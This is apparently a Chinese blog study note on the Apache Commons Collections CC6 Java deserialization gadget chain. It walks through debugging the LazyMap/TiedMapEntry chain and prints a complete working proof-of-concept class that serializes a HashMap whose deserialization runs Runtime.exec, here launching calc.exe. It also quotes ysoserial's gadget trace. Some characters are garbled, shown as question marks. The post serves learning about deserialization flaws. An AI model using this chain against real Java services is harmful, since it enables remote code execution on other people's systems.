关于构造利用链,先要有一个大致思路,接下来就是寻找参数是怎么样传递的 。
调试可以看到,只是生成序列化数据,没有成功执行命令

文章插图
每个关键函数都打断点 , 单步调试一下 。在LazyMap的get?法,画框的部分,就是最后触发命令执?的
transform()
,但是这个if语句并没有进?,因为map.containsKey(key)
的结果是true
文章插图
可以看到这里的key是
keykey
, 看下之前的代码,唯?出现keykey
的地?就是在 TiedMapEntry
的构造函数?,但TiedMapEntry
的构造函数并没有修改outerMap
Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");
这个关键点就出在expMap.put(tme, "valuevalue");
这个语句?? 。HashMap的put?法中 , 也有调?到hash(key)
;
文章插图
这?就导致
LazyMap
这个利?链在这?被调?了?遍,因为前??了fakeTransformers,所以此 时并没有触发命令执?,但实际上也对我们构造Payload产?了影响解决?法也很简单,只需要将keykey这个Key , 再从outerMap中移除即 可:
outerMap.remove("keykey")
。最终完整POC如下
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] iTransformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");//将真正的transformers数组设置进来Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, iTransformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);//本地测试ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}

文章插图
这个利?链可以在Java7和8的?版本触发 , 没有版本限制:
ysoserial上面的这条利用链子是
ysoserial
中CC6的简化版 。/* Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()by @matthias_kaiser*/
可以看到多了两步:java.util.HashMap.put()java.util.HashMap.hash()
这里是多了两个调用步骤,至于原因,暂时还没理解透 。小结对CC6这条利用链进行了学习,在构造
Gadget
的时候还是要思路清晰 , 后面继续学习 。【Java安全之CC6】
推荐阅读
- MySQL数据库的性能分析 ---图书《软件性能测试分析与调优实践之路》-手稿节选
- 如何通过Java导出带格式的 Excel 数据到 Word 表格
- 支持JDK19虚拟线程的web框架之四:看源码,了解quarkus如何支持虚拟线程
- vulnhub靶场之DRIPPING BLUES: 1
- 明日之后联盟狙击步枪怎么获取
- 硬核剖析Java锁底层AQS源码,深入理解底层架构设计
- 定位java程序中占用cpu最高的线程堆栈信息
- SpringCloudAlibaba 微服务组件 Nacos 之配置中心源码深度解析
- Java8新特性—四大内置函数式接口
- 2 java安全之CC1浅学